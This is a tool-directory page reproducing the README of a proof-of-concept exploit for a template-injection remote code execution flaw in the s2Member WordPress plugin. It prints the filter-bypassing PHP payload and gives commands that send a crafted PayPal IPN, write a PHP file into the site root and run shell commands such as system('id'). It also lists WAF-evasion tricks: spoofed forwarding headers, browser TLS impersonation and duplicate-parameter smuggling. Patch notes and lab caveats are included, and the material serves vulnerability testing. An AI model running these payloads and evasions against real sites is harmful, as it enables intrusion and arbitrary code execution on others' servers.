Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-86596-poc — CVE-2026-86596 s2Member <= 260927 template-injection PoC (lab; IPN verification required) | Kitploit
Tools/GitHubGitHub/thiscitze/cve-2026-86596-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassWeb SecurityRemote Access ToolLabs & Practice
GitHubthiscitze/cve-2026-86596-poc

cve-2026-86596-poc

CVE-2026-86596 s2Member <= 260927 template-injection PoC (lab; IPN verification required)

View Repository
11 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-86596 PoC

Single-file Python PoC for the s2Member <= 260927 template-injection RCE.

What it shows

The vulnerable code:

$paypal = strip_php_tags_deep($paypal);          // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));

Payload:

<%%x%%?php echo 'CVE-2026-86596'; ?>

strip_php_tags_deep() leaves it alone because there is no literal <?. The %%item_name%% replacement inserts it; the final %%(.+?)%% cleanup removes %%x%%, leaving a valid <?php opener.

Modes

One command

python3 poc.py https://wordpress.lab

That is the whole flow:

  1. version check,
  2. offline injection proof,
  3. crafted IPN POST,
  4. writes cve_test.php with @thiscitze into the WordPress root,
  5. fetches https://wordpress.lab/cve_test.php and verifies the marker.

If the protected post/page ID is not 1:

python3 poc.py https://wordpress.lab --item-number 123

If .php is blocked, write a plain text marker:

python3 poc.py https://wordpress.lab --filename cve_test.txt

If the site uses a proxy verification key:

python3 poc.py https://wordpress.lab --proxy-verification "KEY"

Concise report:

CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item   : 123
run id : 1a0d80
time   : 2026-11-03 12:34:56 UTC

[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
      1/5 abspath/cve_test.php           HTTP 200
      [+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped

RESULT
  CVE applicable : YES - vulnerable version
  Injection      : OK
  IPN response   : HTTP 200 | HTTP 200; processing not proven
  Test file      : FOUND - https://wordpress.lab/cve_test.php
  Marker         : not checked
  RCE            : CONFIRMED - code execution works
  Run ID         : 1a0d80
  Next           : test file: https://wordpress.lab/cve_test.php

The report answers three separate questions:

  • CVE applicable - is the installed version in the vulnerable range?
  • IPN response - did the request reach s2Member, or was it blocked?
  • RCE - did a file actually get written / did the marker appear?

RCE: NOT CONFIRMED means the script did not prove code execution, even if the HTTP status was 200.

Color is on when stdout is a TTY; force it with --color always or disable it with --color never.

If the target is behind a WAF/challenge, the script automatically tries request-shape variants before giving up:

  • multipart/form-data
  • duplicate item_name (benign + payload)
  • multipart/form-data with duplicate item_name
  • X-Forwarded-For / X-Real-IP / CF-Connecting-IP spoof headers
  • curl_cffi browser TLS impersonation (pip install curl_cffi)
  • an HTTP proxy, if --http-proxy is given

Optional controls:

python3 poc.py https://wordpress.lab \
    --http-proxy http://127.0.0.1:8080 \
    --cookie "cf_clearance=..." \
    --impersonate chrome

--no-evasion disables the automatic variants. A JS challenge may still require a real browser session or a PayPal-origin IPN; header tricks are not a guaranteed bypass.

Test file write

Write a test file into the WordPress root and verify it:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --test-url https://wordpress.lab/cve_test.php

The payload writes cve_test.php containing:

<?php echo "@thiscitze"; ?>

If .php is blocked or not needed, write a plain text marker instead:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --filename cve_test.txt \
    --marker "@thiscitze" \
    --test-url https://wordpress.lab/cve_test.txt

The file is written to ABSPATH (the WordPress filesystem root). If WordPress is installed in a subdirectory, adjust --test-url accordingly.

Offline proof

python3 poc.py --simulate

Expected:

[*] after strip_php_tags_deep():
    "<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
    "Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled

Shortcode variant:

python3 poc.py --simulate --shortcode --command "system('id');"

This produces [s2If php="system('id');"], which executes if the template reaches a do_shortcode() / [s2If php] sink.

Version check

python3 poc.py --check https://wordpress.lab

It reads readme.txt or s2member.php and compares the version with 260927 / 261001.

Lab IPN sender

python3 poc.py --ipn https://wordpress.lab \
    --item-number 123 \
    --payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"

s2Member verifies IPNs with PayPal (POST back) or a proxy verification key. A directly forged POST is normally rejected. For a lab:

  • use a real PayPal sandbox IPN whose item_name is the payload, or
  • provide the site's proxy verification value:
python3 poc.py --ipn https://wordpress.lab --item-number 123 \
    --proxy-verification "<value from the site's button code>" \
    --command "id"

The script prints the HTTP response and warns if the target rejected the verification.

Trigger page

python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."

Fetches a page and searches for CVE-2026-86596, which the payload echoes. This is useful when the tracking-code / shortcode sink renders after the IPN.

Requirements for a live RCE

  1. s2Member <= 260927.
  2. A valid PayPal IPN (sandbox or real) or the site's proxy verification key.
  3. custom must start with the site hostname (or skip_ipn_domain_validation must be enabled).
  4. A valid item_number for the Specific Post/Page path.
  5. A sink that evaluates the rendered template: tracking codes rendered with do_shortcode() / [s2If php=...], or a custom integration that evals the notification template. The default plain email body itself is sent through wp_mail, not eval'd.

Fix

Update to s2Member 261001 or later (current: 261017). The fix replaces the sequential interpolation with fill_paypal_template_once() and sanitizes the tracking destination to [A-Za-z0-9 @._-].

Notes

  • This is a lab PoC; it does not bypass PayPal IPN verification.
  • The CVE description says "authenticated, custom-level", while the title and CVSS (PR:N) say unauthenticated. Treat it as remote/unauthenticated for patch priority, but validate the IPN/proxy requirements in your setup.
  • No public weaponised PoC exists as of 2026-11-03; this script demonstrates the injection and provides a real IPN sender for authorized labs.

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member
Download Tool